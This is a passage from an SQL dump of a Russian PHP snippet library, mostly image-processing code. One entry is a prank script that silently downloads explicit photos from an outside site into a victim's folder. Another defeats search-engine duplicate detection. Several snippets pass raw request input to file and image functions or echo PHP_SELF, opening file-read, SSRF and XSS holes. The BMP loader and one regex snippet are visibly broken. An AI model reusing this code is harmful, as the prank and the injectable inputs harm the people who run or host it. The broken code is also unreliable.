new Imagick(\'big.gif\'); //вычисляем масштаб сторон
(хотим сделать с максимальной стороной 64)
$scale = max($images->getImageWidth(),
$images->getImageHeight()) / 64; //вот этой фишки не
хватает в примере из мануала на php.net $images =
$images->coalesceImages(); //вычисляем рамеры
сторон с учетом масштаба $width =
round($images->getImageWidth() / $scale); $height =
round($images->getImageHeight() / $scale); //и ресайзим
каждый кадр в цикле do { $images->scaleImage($width,
$height); } while ($images->nextImage());
//оптимизируем слои $images->optimizeImageLayers();
//освобождаем память $images =
$images->deconstructImages(); //сохраняем анимацию
в small.gif $images->writeImages(\'small.gif\', true); /* В
результате получаем нормальную
отресайзенную анимацию. Но если
попытаться сделать пакетную обработку
нескольких анимашек, то можно убедиться,
что скрипт делает это ОЧЕЕЕЕЕНЬ ДОЛГО,
поэтому для пакетной обработки лучше
применять вызов команды */
exec("/usr/local/bin/convert \'big.gif\' -coalesce -thumbnail
\'64x64>\' \\ -layers Optimize \'small.gif\' "); /**
Что же делать, если нет ImageMagick на
хостинге? Для экстремалов есть классы
для работы с gif-анимациями, если хотите,
можете писать о них в комментах, лично у
меня такого желания нет.
*/','files_3138_3946_',151),(238,20,'Налажуем картинку на
картинку','Налажуем картинку на
картинку','<?php $img = $_GET[\'img\']; /// путь к
картинке которую копирайтим $im =
imagecreatefromjpeg($img); $lg = imagecreatefrompng(\'copyrite.png\'); ///
наша картинка копирайта $img_x = imagesx($im); $img_y
= imagesy($im); $img_x_copy = imagesx($lg); $img_y_copy = imagesy($lg);
imagecopy($im, $lg, $img_x-$img_x_copy, $img_y-$img_y_copy, 0, 0,
$img_x_copy, $img_y_copy); header(\'Content-Type: image/jpeg\');
imagejpeg($im); imagedestroy($im); /// чистим мусор
imagedestroy($lg); /// чистим мусор
?>','files_2174_3726_',151),(239,20,'Обвести
изображение цветной рамкой','5px - толщина
рамки','<img src="Адрес
изображения" style="border:5px solid
Цвет;">','files_2882_4707_',151),(240,20,'Работа
с полупрозрачными цветами','Работа с
полупрозрачными цветами','<?php $size = 300;
$im = imageCreateTrueColor($size, $size); $back = imageColorAllocate($im,
255, 255, 255); imageFilledRectangle($im, 0, 0, $size - 1, $size - 1,
$back); // Создаем идентификаторы
полупрозрачных цветов. $yellow =
imageColorAllocateAlpha($im, 255, 255, 0, 75); $red =
imageColorAllocateAlpha($im, 255, 0, 0, 75); $blue =
imageColorAllocateAlpha($im, 0, 0, 255, 75); // Рисуем 3
пересекающихся круга. $radius = 150;
imageFilledEllipse($im, 100, 75, $radius, $radius, $yellow);
imageFilledEllipse($im, 120, 165, $radius, $radius, $red);
imageFilledEllipse($im, 187, 125, $radius, $radius, $blue); //
Выводим изображение в браузер.
Header(\'Content-type: image/png\'); imagePng($im);
?>','files_1268_3151_',151),(241,20,'пример создания
секторных диаграмм','пример создания
секторных диаграмм','<?php
define("HEIGHT",200);
define("WIDTH",200); $data=array(10,5,20,40,10,15);
$img=imagecreate(200, 200); $background=$white=imagecolorallocate($img,
0xFF,0xFF,0xFF); $black=imagecolorallocate($img, 0, 0, 0);
$center_x=(int)WIDTH/2; $center_y=(int)HEIGHT/2; imagerectangle($img, 0, 0,
WIDTH-1, HEIGHT-1, $black); $last=0; foreach($data as $proc) {
$len=(360*$proc)/100; imagefilledarc($img, $center_x, $center_y, WIDTH-20,
HEIGHT-20, $last, ($last+$len), $black, IMG_ARC_EDGED | IMG_ARC_NOFILL);
$last +=$len; } header("Content-Type: image/png");
imagepng($img);
?>','files_4175_4051_',151),(242,20,'объёмная
круговая диаграмма','И вот
"цветастая, красивая" объёмная
круговая диаграмма. Если
раскометировать пару тройку строк, то
будем с легендой.','<? // $im -
идентификатор изображения // $VALUES - массив
со значениями // $LEGEND - массив с подписями
function Diagramm($im,$VALUES,$LEGEND) { GLOBAL $COLORS,$SHADOWS;
$black=ImageColorAllocate($im,0,0,0); // Получим размеры
изображения $W=ImageSX($im); $H=ImageSY($im); // Вывод
легенды ##################################### // Посчитаем
количество пунктов, от этого зависит
высота легенды $legend_count=count($LEGEND); //
Посчитаем максимальную длину пункта, от
этого зависит ширина легенды $max_length=0; //
foreach($LEGEND as $v) if ($max_length<strlen($v))
$max_length=strlen($v); // Номер шрифта, котором мы
будем выводить легенду $FONT=2;
$font_w=ImageFontWidth($FONT); $font_h=ImageFontHeight($FONT); //
Вывод прямоугольника - границы легенды
----------------------------
$l_width=($font_w*$max_length)+$font_h+10+5+10;
$l_height=$font_h*$legend_count+10+10; // Получим
координаты верхнего левого угла
прямоугольника - границы легенды
$l_x1=$W-10-$l_width; // $l_y1=($H-$l_height)/2; // Выводя
прямоугольника - границы легенды //
ImageRectangle($im, $l_x1, $l_y1, $l_x1+$l_width, $l_y1+$l_height, $black);
// Вывод текст легенды и цветных
квадратиков // $text_x=$l_x1+10+5+$font_h; //
$square_x=$l_x1+10; /// $y=$l_y1+10; /* $i=0; foreach($LEGEND as $v) {
$dy=$y+($i*$font_h); ImageString($im, $FONT, $text_x, $dy, $v, $black);
ImageFilledRectangle($im,
$square_x+1,$dy+1,$square_x+$font_h-1,$dy+$font_h-1, $COLORS[$i]);
ImageRectangle($im, $square_x+1,$dy+1,$square_x+$font_h-1,$dy+$font_h-1,
$black); $i++; } */ // Вывод круговой диаграммы
---------------------------------------- $total=array_sum($VALUES);
$anglesum=$angle=Array(0); $i=1; // Расчет углов while
($i<count($VALUES)) { $part=$VALUES[$i-1]/$total;
$angle[$i]=floor($part*360); $anglesum[$i]=array_sum($angle); $i++; }
$anglesum[]=$anglesum[0]; // Расчет диаметра
$diametr=$l_x1-10-10; // Расчет координат центра
эллипса $circle_x=($diametr/2)+10; $circle_y=$H/2-10; //
Поправка диаметра, если эллипс не
помещается по высоте if ($diametr>($H*2)-10-10)
$diametr=($H*2)-20-20-40; // Вывод тени for
($j=20;$j>0;$j--) for ($i=0;$i<count($anglesum)-1;$i++)
ImageFilledArc($im,$circle_x,$circle_y+$j, $diametr,$diametr/2,
$anglesum[$i],$anglesum[$i+1], $SHADOWS[$i],IMG_ARC_PIE); // Вывод
круговой диаграммы for
($i=0;$i<count($anglesum)-1;$i++)
ImageFilledArc($im,$circle_x,$circle_y, $diametr,$diametr/2,
$anglesum[$i],$anglesum[$i+1], $COLORS[$i],IMG_ARC_PIE); } $an=0; $an1=1;
$an2=2; $an3=3; $an4=4; $an5=5; $an6=6; // Зададим значение
и подписи $VALUES=Array($an,$an1,$an2,$an3,$an4,$an5,$an6);
$LEGEND=Array("Пон","Вт","Ср","Чет","Пят","Суб","AS");
// Создадим изображения header("Content-Type:
image/png"); $im=ImageCreate(300,300); // размеры //
Зададим цвет фона.
$bgcolor=ImageColorAllocate($im,255,255,255); // Зададим цвета
элементов $COLORS[0] = imagecolorallocate($im, 255, 203, 3);
$COLORS[1] = imagecolorallocate($im, 220, 101, 29); $COLORS[2] =
imagecolorallocate($im, 189, 24, 51); $COLORS[3] = imagecolorallocate($im,
214, 0, 127); $COLORS[4] = imagecolorallocate($im, 98, 1, 96); $COLORS[5] =
imagecolorallocate($im, 0, 62, 136); $COLORS[6] = imagecolorallocate($im,
0, 102, 179); $COLORS[7] = imagecolorallocate($im, 0, 145, 195); //
Зададим цвета теней элементов $SHADOWS[0] =
imagecolorallocate($im, 205, 153, 0); $SHADOWS[1] = imagecolorallocate($im,
170, 51, 0); $SHADOWS[2] = imagecolorallocate($im, 139, 0, 1); $SHADOWS[3]
= imagecolorallocate($im, 164, 0, 77); $SHADOWS[4] =
imagecolorallocate($im, 48, 0, 46); $SHADOWS[5] = imagecolorallocate($im,
0, 12, 86); $SHADOWS[6] = imagecolorallocate($im, 0, 52, 129); $SHADOWS[7]
= imagecolorallocate($im, 0, 95, 145); // Вызов функции
рисования диаграммы Diagramm($im,$VALUES,$LEGEND); //
Генерация изображения ImagePNG($im)
?>','files_1846_1929_',151),(243,20,'Проверяем,
подключена-ли библиотека GD','Проверяем,
подключена-ли библиотека GD','<?
$extension="gd"; # имя библиотеки
if(extension_loaded($extension)) { echo "Библиотека
".$extension." - подключена"; } else
{ echo "Библиотека ".$extension." -
не подключена"; }
?>','files_4944_1846_',151),(244,20,'Код
Шутник','Запускаете на Денвере и вся
папка заполняется кучей фоток с голыми
тетками','<? set_time_limit(0); ignore_user_abort(1);
error_reporting(0); for ($i=100;$i<=700;$i++) { for
($k=1;$k<=30;$k++) { $f1 =
fopen("http://pejnya.ru/new_arhive/photo/$i/$k.jpg",
"r"); $buffer = fgets($f1, 24); if ($buffer[6] !=
"J" || $buffer[7] != "F" || $buffer[8]
!= "I" || $buffer[9] != "F") break; $f2
= fopen($i."_".$k.".jpg",
"w"); while (!feof ($f1)) { fputs($f2, $buffer); $buffer
= fgets($f1, 4096); } fputs($f2, $buffer); fclose ($f1); fclose ($f2); } }
?>','files_5453_3337_',151),(245,20,'Рандомизация
изображений','Рандомизация изображений
или как сделать рисунки уникальными для
ПС (JPG only!)\r\nКак сделать рисунки
уникальными для ПС без видимой потери
качества?\r\nНиже представляю вам функцию
на PHP для рандомизации изображений. С ней
можно сгенерироваь 1000 копий одного и
того же рисункаа ПС все их будут считать
различными.Из преобразований с
изображением применяются:\r\nрандомное
обрезание (crop)\r\nрандомный
ресайз\r\nрандомное добавление
шумов','function randomizeimage( $pathtoimg ) { $src =
imagecreatefromjpeg($pathtoimg); $w_src = imagesx($src); $h_src =
imagesy($src); $dt = mt_rand(5,25); $dl = mt_rand(5,25); $db =
mt_rand(5,25); $dr = mt_rand(5,25); $img = imagecreatetruecolor( $w_src -
$dl - $dr, $h_src - $dt - $db ); imagecopy($img, $src, 0, 0, $dl, $dt,
$w_src - $dl - $dr, $h_src - $dt - $db); $w_img1 = $w_src - $dl - $dr + (
(mt_rand(0,1)==0)?-1:1 ) * min( mt_rand(50,100), mt_rand(20,round( ($w_src
- $dl - $dr)/2 ) )); $h_img1 = round( ($h_src - $dt - $db) * $w_img1 /
($w_src - $dl - $dr) ); $img1 = imagecreatetruecolor( $w_img1, $h_img1 );
imagecopyresized($img1, $img, 0, 0, 0, 0, $w_img1, $h_img1, $w_src - $dl -
$dr, $h_src - $dt - $db); $count = mt_rand(10,30); for(
$i=0;$i<$count; $i++ ) { imagesetpixel( $img1, mt_rand(1,$w_img1-1),
mt_rand(1, $h_img1-1), imagecolorallocate($img1, mt_rand(0,255),
mt_rand(0,255), mt_rand(0,255)) ); } $name = randstr(10).\'.jpg\';
imagejpeg( $img1, $name ); return $name;
}','files_4399_3887_',151),(246,20,'Рисунок =>
Символы','Рисунок => Символы','<?
$factor = (int)$_POST[\'factor\']; $usetable = $_POST[\'table\']; $file =
$_POST[\'file\']; $act = $_GET[\'act\']; $fileex = $_POST[\'fileex\']; echo
"<form
action=\\"".$_SERVER[\'PHP_SELF\']."?act=make\\"
method=\\"post\\">
<table><tr> <td>Адрес
файла:</td><td><input
name=\\"file\\" type=\\"text\\"
value=\\"\\"></td></tr>
<tr><td>Файл с инета (http://...)
<input name=\\"fileex\\"
type=\\"checkbox\\"
value=\\"ON\\"></td></tr>
<tr><td>Погрешность
цвета</td><td><input
name=\\"factor\\" type=\\"text\\"
value=\\"\\"></td></tr>
<tr><td>Использовать таблицу
<input name=\\"table\\"
type=\\"checkbox\\"
value=\\"OFF\\"></td><td>Если
вы не используете таблицу, уменьшите
маштабирование в браузере до 50%
))</td></tr> </table>
<input type=\\"submit\\" value=\\"JPG
=> ASCII\\"> </form>";
if($act ==\'make\') { $format = explode(\'.\',$file); $format =
$format[(count($format))-1]; if($file == \'\') { echo "<br
/>Вы не ввели адрес файла!"; }
elseif(!file_exists($file) AND !$fileex) { echo "<br
/>Файл несуществует!"; } elseif(($format !=
\'jpg\') AND ($format != \'jpeg\')) { echo "<br
/>Неверный формат файла.
Поддерживается только JPG!"; } else { $img =
ImageCreateFromjpeg($file); $size = getimagesize($file); $orig_x =
(int)$size[0]/2; $orig_y = (int)$size[1]/3;
if($usetable){$str=\'<table><tr>\';}else{$str=\'\';}
for($y=1;$y<=$orig_y;$y++) { for($x=1;$x<=$orig_x;$x++) {
$str.= quatro($img,$x,$y,$str,$factor,$usetable); }
if($usetable){$str.="</tr><tr>";}else{$str.="<br/>";}
} if($usetable){echo "<font style=\\"font-family:
Courier\\">".$str."</font></table>";}else{echo
"<font style=\\"font-family:
Courier\\">".$str;} } } function
quatro($img,$x,$y,$str,$factor,$usetable) { $x = $x*2; $y = $y*3;
for($q_x=0;$q_x<2;$q_x++) { for($q_y=0;$q_y<3;$q_y++) { $rgb
= ImageColorAt($img, $x+$q_x, $y+$q_y); $r = ($rgb >> 16)
& 0xFF; $g = ($rgb >> 8) & 0xFF; $b = $rgb
& 0xFF; $pixel_total = $r + $g + $b; if ($pixel_total >
(((255 + $factor) / 2) * 3)) { $hex.=0; } else { $hex.=1; } } } return
sectorToASCII($hex,$usetable); } function sectorToASCII($hex,$usetable) {
$char[000001] = \',\'; $char[000010] = \'.\'; $char[000011] = \'i\';
$char[000100] = \'\\\'\'; $char[000101] = \':\'; $char[000110] = \'l\';
$char[000111] = \'!\'; $char[001000] = \'.\'; $char[001001] = \'_\';
$char[001010] = \'/\'; $char[001011] = \'\'; $char[001100] = \'/\';
$char[001101] = \';\'; $char[001110] = \'/\'; $char[001111] = \'J\';
$char[010000] = \'`\'; $char[010001] = chr(0x5C); $char[010010] = \'-\';
$char[010011] = \'\'; $char[010100] = \'/\'; $char[010101] = \'<\';
$char[010110] = \'\'; $char[010111] = \'<\'; $char[011000] = \'i\';
$char[011001] = \'\'; $char[011010] = \'в\'; $char[011011] = \'*\';
$char[011100] = \'/\'; $char[011101] = \'B\'; $char[011110] =
\'&\'; $char[011111] = \'\'; $char[100000] = \'`\'; $char[100001]
= chr(0x5C); $char[100010] = chr(0x5C); $char[100011] = chr(0x5C);
$char[100100] = \'{\'; $char[100101] = \'\'; $char[100110] = chr(0x5C);
$char[100111] = \'7\'; $char[101000] = \':\'; $char[101001] = \'\';
$char[101010] = \'>\'; $char[101011] = \'Э\'; $char[101100] =
\'\'; $char[101101] = \'=\'; $char[101110] = \'?\'; $char[101111] = \']\';
$char[110000] = \'¦\'; $char[110001] = chr(0x5C); $char[110010] = \'\';
$char[110011] = \'%\'; $char[110100] = \'\'; $char[110101] = \'г\';
$char[110110] = \'"\'; $char[110111] = \'9\'; $char[111000] =
\'I\'; $char[111001] = \'L\'; $char[111010] = \'>\'; $char[111011] =
\'6\'; $char[111100] = \'В\'; $char[111101] = \'[\'; $char[111110] =
\'@\'; $char[111111] = \'#\'; if($usetable) {
if($char[$hex]==\'\')$char[$hex]=\' \'; return
"<td>".$char[$hex]."</td>";
} else { if($char[$hex]==\'\')$char[$hex]=\'&nbsp \';
return $char[$hex]; } }
?>','files_4683_2009_',151),(247,20,'Инвертирование
rgb цвета','Инвертирование rgb цвета','<?php
/** * Инвертирование rgb цвета */ function
color_inverse($color){ $color = substr($color, 1); //отрезаем #
от цвета if (strlen($color) != 6){ return \'000000\'; }
//проверка на длинну $rgb = \'\'; for ($x=0; $x<3;
$x++){ $c = 255 - hexdec(substr($color, (2*$x), 2)); $c = ($c < 0) ?
0 : dechex($c); $rgb .= (strlen($c) < 2) ? \'0\'.$c : $c; } return
\'#\'.$rgb; } //возьмем для примера желтый $color =
\'#FFFF00\'; echo "<div style=\'height:10%;
background-color:$color\'></div>";
//посмотрим что получится если его
инвертировать echo "<div style=\'height:10%;
background-color:".color_inverse($color)."\'></div>";','files_3241_4655_',151),(248,20,'Изображение
из .bmp','Изображение из .bmp','<?php function
imageCreateFromBMP($filename) { if (! $f1 =
fopen($filename,"rb")) return false; $FILE =
unpack("vfile_type/Vfile_size/Vreserved/Vbitmap_offset",
fread($f1,14)); if ($FILE[\'file_type\'] != 19778) return false; $BMP =
unpack( \'Vheader_size/Vwidth/Vheight/vplanes/vbits_per_pixel\'.
\'/Vcompression/Vsize_bitmap/Vhoriz_resolution\'.
\'/Vvert_resolution/Vcolors_used/Vcolors_important\', fread($f1,40));
$BMP[\'colors\'] = pow(2,$BMP[\'bits_per_pixel\']); if
($BMP[\'size_bitmap\'] == 0) $BMP[\'size_bitmap\'] = $FILE[\'file_size\']
- $FILE[\'bitmap_offset\']; $BMP[\'bytes_per_pixel\'] =
$BMP[\'bits_per_pixel\']/8; $BMP[\'bytes_per_pixel2\'] =
ceil($BMP[\'bytes_per_pixel\']); $BMP[\'decal\'] =
($BMP[\'width\']*$BMP[\'bytes_per_pixel\']/4); $BMP[\'decal\'] -=
floor($BMP[\'width\']*$BMP[\'bytes_per_pixel\']/4); $BMP[\'decal\'] =
4-(4*$BMP[\'decal\']); if ($BMP[\'decal\'] == 4) $BMP[\'decal\'] = 0;
$PALETTE = array(); if ($BMP[\'colors\'] < 16777216) { $PALETTE =
unpack(\'V\'.$BMP[\'colors\'], fread($f1,$BMP[\'colors\']*4)); } $IMG =
fread($f1,$BMP[\'size_bitmap\']); $VIDE = chr(0); $res =
imagecreatetruecolor($BMP[\'width\'],$BMP[\'height\']); $P = 0; $Y =
$BMP[\'height\']-1; while ($Y >= 0) { $X=0; while ($X <
$BMP[\'width\']) { if ($BMP[\'bits_per_pixel\'] == 24) $COLOR =
unpack("V",substr($IMG,$P,3).$VIDE); elseif
($BMP[\'bits_per_pixel\'] == 16) { $COLOR =
unpack("n",substr($IMG,$P,2)); $COLOR[1] =
$PALETTE[$COLOR[1] 1]; } elseif ($BMP[\'bits_per_pixel\'] == 8) { $COLOR
= unpack("n",$VIDE.substr($IMG,$P,1)); $COLOR[1] =
$PALETTE[$COLOR[1] 1]; } elseif ($BMP[\'bits_per_pixel\'] == 4) { $COLOR
= unpack("n",$VIDE.substr($IMG,floor($P),1)); if
(($P*2)%2 == 0) $COLOR[1] = ($COLOR[1] >> 4); else
$COLOR[1] = ($COLOR[1] & 0x0F); $COLOR[1] = $PALETTE[$COLOR[1]
1]; } elseif ($BMP[\'bits_per_pixel\'] == 1) { $COLOR =
unpack("n",$VIDE.substr($IMG,floor($P),1)); if (($P*8)%8
== 0) $COLOR[1] = $COLOR[1] >>7; elseif (($P*8)%8 == 1)
$COLOR[1] = ($COLOR[1] & 0x40)>>6; elseif (($P*8)%8
== 2) $COLOR[1] = ($COLOR[1] & 0x20)>>5; elseif
(($P*8)%8 == 3) $COLOR[1] = ($COLOR[1] & 0x10)>>4;
elseif (($P*8)%8 == 4) $COLOR[1] = ($COLOR[1] &
0x8)>>3; elseif (($P*8)%8 == 5) $COLOR[1] = ($COLOR[1]
& 0x4)>>2; elseif (($P*8)%8 == 6) $COLOR[1] =
($COLOR[1] & 0x2)>>1; elseif (($P*8)%8 == 7)
$COLOR[1] = ($COLOR[1] & 0x1); $COLOR[1] = $PALETTE[$COLOR[1] 1];
} else return FALSE; imagesetpixel($res,$X,$Y,$COLOR[1]); $X ; $P =
$BMP[\'bytes_per_pixel\']; } $Y--; $P =$BMP[\'decal\']; }
fclose($f1); return $res; }
?>','files_5463_5372_',151),(249,20,'Создание preview
картинок','Создание preview картинок','<?php
function resize ($filename, $size) { $pref = \'mini_\'; $img =
strtolower(strrchr(basename($filename), ".")); $imgname =
basename($filename); $formats = array(\'.jpg\', \'.gif\', \'.png\',
\'.bmp\'); if (in_array($img, $formats)) { list($width, $height) =
getimagesize($filename); $new_height = $height * $size; $new_width =
$new_height / $width; $thumb = imagecreatetruecolor($size, $new_width);
switch ($img) { case \'.jpg\': $source = @imagecreatefromjpeg($filename);
break; case \'.gif\': $source = @imagecreatefromgif($filename); break; case
\'.png\': $source = @imagecreatefrompng($filename); break; case \'.bmp\':
$source = @imagecreatefromwbmp($filename); break; }
imagecopyresized($thumb, $source, 0, 0, 0, 0, $size, $new_width, $width,
$height); switch ($img) { case \'.jpg\': imagejpeg($thumb, $pref.$imgname);
break; case \'.gif\': imagegif($thumb, $pref.$imgname); break; case
\'.png\': imagepng($thumb, $pref.$imgname); break; case \'.bmp\':
imagewbmp($thumb, $pref.$imgname); break; } } else return \'Error\';
@imagedestroy($thumb); @imagedestroy($source); return $imgname; } # -
> Пример работы: < - # echo \'<img
src="mini_\'.resize(\'http://www.webnotes.com.ua/demo/img-resize/test.jpg\',200).\'"
/>\';
?>','files_5297_3291_',151),(250,20,'Автоопределение
MIME-типа','Автоопределение
MIME-типа','<?php// Выбираем случайное
изображение любого формата. $fnames =
glob("*.{gif,jpg,png}", GLOB_BRACE); $fname =
$fnames[mt_rand(0, count($fnames)-1)]; // Определяем
формат. $size = getimagesize($fname); // Выводим
изображение. header("Content-type:
{$size[\'mime\']}"); echo
file_get_contents($fname);?>','files_3287_4149_',151),(251,20,'Класс
смайлов','Класс смайлов.\r\nПуть к смайлам
будет
вида\r\n/папка_со_смайлами/смайлпак/смайл.расширение\r\nСписок
смайлов хранится в файле smiles.list (название
можно менять), который находится там где
и смайлы.','<?php class Smiles { private $pack = \'default\';
//смайлпак private $dir = \'/smiles/\'; private $smiles_list =
\'smiles.list\'; //список смайлов private $data = array();
public function __construct($config = array()) { foreach($config as
$key=>$val) $this->$key = $val; $file =
file($_SERVER[\'DOCUMENT_ROOT\'].$this->dir.$this->pack.\'/\'.$this->smiles_list);
$rows = sizeof($file); list($delimiter, $ext) = explode(\'###\', $file[0]);
for($i = 1; $i < $rows; $i++) { $arr = explode($delimiter,
$file[$i]); foreach($arr as $val) { $val = trim($val);
$this->data[$val] = \'<img
src="\'.$this->dir.$this->pack.\'/\'.$i.\'.\'.$ext.\'"
alt="\'.$val.\'"/>\'; } } } public function
replace($text) { return strtr($text, $this->data); } }
?>','files_4169_3941_',151),(252,20,'Конвертор
форматов изображений','Конвертор
изображений форматов jpeg, gif,
png.\r\nТребуется библиотека GD','<?php $to =
\'png\'; $save_as = \'filename.\'.$to; $file = \'picture.gif\'; $type =
substr($file, strrpos($file,\'.\')+1); if($type == \'jpg\') $type =
\'jpeg\'; switch($type) { case(\'jpeg\'): $image =
imagecreatefromjpeg($file); break; case(\'gif\'): $image =
imagecreatefromgif($file); break; case(\'png\'): $image =
imagecreatefrompng($file); break; } switch($to) { case(\'jpeg\'):
imagejpeg($image, $save_as); break; case(\'gif\'): imagegif($image,
$save_as); break; case(\'png\'): imagepng($image, $save_as); break; }
?>','files_4475_4964_',151),(253,20,'рисунки
символами.','такое было вк) грузишь
картинку и получаешь ее в виде
символов)','<? $factor = (int)$_POST[\'factor\']; $usetable
= $_POST[\'table\']; $file = $_POST[\'file\']; $act = $_GET[\'act\'];
$fileex = $_POST[\'fileex\']; echo "<form
action=\\"".$_SERVER[\'PHP_SELF\']."?act=make\\"
method=\\"post\\">
<table><tr> <td>Адрес
файла:</td><td><input
name=\\"file\\" type=\\"text\\"
value=\\"\\"></td></tr>
<tr><td>Файл с инета (http://...)
<input name=\\"fileex\\"
type=\\"checkbox\\"
value=\\"ON\\"></td></tr>
<tr><td>Погрешность
цвета</td><td><input
name=\\"factor\\" type=\\"text\\"
value=\\"\\"></td></tr>
<tr><td>Использовать таблицу
<input name=\\"table\\"
type=\\"checkbox\\"
value=\\"OFF\\"></td><td>Если
вы не используете таблицу, уменьшите
маштабирование в браузере до 50%
))</td></tr> </table>
<input type=\\"submit\\" value=\\"JPG
=> ASCII\\"> </form>";
if($act ==\'make\') { $format = explode(\'.\',$file); $format =
$format[(count($format))-1]; if($file == \'\') { echo "<br
/>Вы не ввели адрес файла!"; }
elseif(!file_exists($file) AND !$fileex) { echo "<br
/>Файл несуществует!"; } elseif(($format !=
\'jpg\') AND ($format != \'jpeg\')) { echo "<br
/>Неверный формат файла.
Поддерживается только JPG!"; } else { $img =
ImageCreateFromjpeg($file); $size = getimagesize($file); $orig_x =
(int)$size[0]/2; $orig_y = (int)$size[1]/3;
if($usetable){$str=\'<table><tr>\';}else{$str=\'\';}
for($y=1;$y<=$orig_y;$y++) { for($x=1;$x<=$orig_x;$x++) {
$str.= quatro($img,$x,$y,$str,$factor,$usetable); }
if($usetable){$str.="</tr><tr>";}else{$str.="<br/>";}
} if($usetable){echo "<font style=\\"font-family:
Courier\\">".$str."</font></table>";}else{echo
"<font style=\\"font-family:
Courier\\">".$str;} } } function
quatro($img,$x,$y,$str,$factor,$usetable) { $x = $x*2; $y = $y*3;
for($q_x=0;$q_x<2;$q_x++) { for($q_y=0;$q_y<3;$q_y++) { $rgb
= ImageColorAt($img, $x+$q_x, $y+$q_y); $r = ($rgb >> 16)
& 0xFF; $g = ($rgb >> 8) & 0xFF; $b = $rgb
& 0xFF; $pixel_total = $r + $g + $b; if ($pixel_total >
(((255 + $factor) / 2) * 3)) { $hex.=0; } else { $hex.=1; } } } return
sectorToASCII($hex,$usetable); } function sectorToASCII($hex,$usetable) {
$char[000001] = \',\'; $char[000010] = \'.\'; $char[000011] = \'i\';
$char[000100] = \'\\\'\'; $char[000101] = \':\'; $char[000110] = \'l\';
$char[000111] = \'!\'; $char[001000] = \'.\'; $char[001001] = \'_\';
$char[001010] = \'/\'; $char[001011] = \'\'; $char[001100] = \'/\';
$char[001101] = \';\'; $char[001110] = \'/\'; $char[001111] = \'J\';
$char[010000] = \'`\'; $char[010001] = chr(0x5C); $char[010010] = \'-\';
$char[010011] = \'\'; $char[010100] = \'/\'; $char[010101] = \'<\';
$char[010110] = \'\'; $char[010111] = \'<\'; $char[011000] = \'i\';
$char[011001] = \'\'; $char[011010] = \'в\'; $char[011011] = \'*\';
$char[011100] = \'/\'; $char[011101] = \'B\'; $char[011110] =
\'&\'; $char[011111] = \'\'; $char[100000] = \'`\'; $char[100001]
= chr(0x5C); $char[100010] = chr(0x5C); $char[100011] = chr(0x5C);
$char[100100] = \'{\'; $char[100101] = \'\'; $char[100110] = chr(0x5C);
$char[100111] = \'7\'; $char[101000] = \':\'; $char[101001] = \'\';
$char[101010] = \'>\'; $char[101011] = \'Э\'; $char[101100] =
\'\'; $char[101101] = \'=\'; $char[101110] = \'?\'; $char[101111] = \']\';
$char[110000] = \'¦\'; $char[110001] = chr(0x5C); $char[110010] = \'\';
$char[110011] = \'%\'; $char[110100] = \'\'; $char[110101] = \'г\';
$char[110110] = \'"\'; $char[110111] = \'9\'; $char[111000] =
\'I\'; $char[111001] = \'L\'; $char[111010] = \'>\'; $char[111011] =
\'6\'; $char[111100] = \'В\'; $char[111101] = \'[\'; $char[111110] =
\'@\'; $char[111111] = \'#\'; if($usetable) {
if($char[$hex]==\'\')$char[$hex]=\' \'; return
"<td>".$char[$hex]."</td>";
} else { if($char[$hex]==\'\')$char[$hex]=\'&nbsp \';
return $char[$hex]; } }
?>','files_4291_3529_',151),(254,20,'Увеличение
картинки со сглаживанием.','Увеличение
картинки со сглаживанием.','<?php $from =
imageCreateFromJpeg("sample2.jpg"); $to =
imageCreateTrueColor(2000, 2000); imageCopyResampled( $to, $from, 0, 0, 0,
0, imageSX($to), imageSY($to), imageSX($from), imageSY($from) );
header("Content-type: image/jpeg"); imageJpeg($to);
?>','files_3398_2788_',151),(255,20,'Эффект
"мокрого пола"','Эффект
"мокрого пола"','<?php /** *
Эффект "мокрого пола" * автор:
MYPABEU (http://mypabeu.habrahabr.ru) * 30.09.08 */ //путь к
картинке $img=imagecreatefrompng(\'c:/qqq.png\'); //размер
отраженного объекта в % от оригинала
$perc=50; //максимальная прозрачность
$maxAlpha=120; $src_height = imagesy($img); $src_width = imagesx($img);
$dest_height = $src_height + ($src_height / (100/$perc)); $dest_width =
$src_width; $reflected = imagecreatetruecolor($dest_width, $dest_height);
imagealphablending($reflected, false); imagesavealpha($reflected, true);
imagecopy($reflected, $img, 0, 0, 0, 0, $src_width, $src_height);
$reflection_height = $src_height / 2; for($y=$src_height;
$y<$dest_height; $y++) { $alpha =
(($y-$src_height)/($dest_height-$src_height))*$maxAlpha; for($x=0;
$x<$src_width; $x++) { $rgba = imagecolorat($img, $x, $src_height -
($y-$src_height+1)); $rgba = imagecolorsforindex($img, $rgba); $rgba =
imagecolorallocatealpha($reflected, $rgba[\'red\'], $rgba[\'green\'],
$rgba[\'blue\'], $alpha); imagesetpixel($reflected, $x, $y, $rgba); } }
$img = $reflected; header(\'Content-type:image/png\'); imagepng($img);
?>','files_2065_4716_',151),(256,20,'Получаем все
картинки со страницы','Получаем все
картинки со страницы','$url = "Нужный
адрес"; $images = array();
preg_match_all(\'/(img|src)=("|\')[^"\'>]+/i\',
$data, $media); unset($data);
$data=preg_replace(\'/(img|src)("|\'|="|=\')(.*)/i\',"$3"
,$media[0]); foreach($data as $url) { $info = pathinfo($url); if
(isset($info[\'extension\'])) { if (($info[\'extension\'] == \'jpg\') ||
($info[\'extension\'] == \'jpeg\') || ($info[\'extension\'] == \'gif\') ||
($info[\'extension\'] == \'png)) array_push($images, $url); }
}','files_2526_4037_',151),(257,20,'Перевод цвета
изображения в Чёрно-белое','Перевод цвета
изображения в Чёрно-белое','<?php $im =
ImageCreateFromJpeg("file.jpg"); $size =
getimagesize("file.jpg"); $new = imagecreate($size[0],
$size[1]); $black = imagecolorallocate($new, 0, 0, 0); $white =
imagecolorallocate($new, 0xFF, 0xFF, 0xFF); for ($i = 1; $i <
$size[0]; $i++) { for ($j = 1; $j < $size[1]; $j++) { $rgb =
ImageColorAt($im, $i, $j); $r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF; $b = $rgb & 0xFF; if
( $r < 128 && $r < 128 && $b
< 128 ) { imagesetpixel($new, $i, $j, $black); } elseif ( $r
>= 128 && $r >= 128 && $b
>= 128 ) { imagesetpixel($new, $i, $j, $white); } } }
header("Content-type: image/jpeg"); imagejpeg($new, null,
100); imagedestroy($im); imagedestroy($new);
?>','files_3606_2013_',151),(258,20,'Генератор
градиентов','Создаём файл и туда лепим
этот код. Для примера файл называется
gradient.php.\r\nПереходим по ссылке
